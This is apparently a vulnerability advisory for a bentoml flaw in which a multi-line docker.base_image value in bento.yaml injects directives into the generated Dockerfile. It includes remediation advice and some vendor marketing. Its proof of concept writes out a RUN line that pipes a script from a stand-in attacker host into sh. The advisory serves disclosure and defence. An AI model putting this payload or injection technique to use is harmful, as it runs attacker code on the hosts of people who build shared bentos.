CVE-2026-44345

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

References

• Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043.
• CWE-78: https://cwe.mitre.org/data/definitions/78.html

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-44345 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.39); upgrading removes the vulnerable code path.

Kodem intelligence

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

• __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}), same newline-injection class for path entries from Image.build_include(*file_paths).
• bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint, currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

1. What is CVE-2026-44345? CVE-2026-44345 is a high-severity OS command injection vulnerability in bentoml (pip), affecting versions <= 1.4.38. It is fixed in 1.4.39. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-44345? CVE-2026-44345 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of bentoml are affected by CVE-2026-44345? bentoml (pip) versions <= 1.4.38 is affected.
4. Is there a fix for CVE-2026-44345? Yes. CVE-2026-44345 is fixed in 1.4.39. Upgrade to this version or later.
5. Is CVE-2026-44345 exploitable, and should I be worried? Whether CVE-2026-44345 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44345 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44345? Upgrade bentoml to 1.4.39 or later.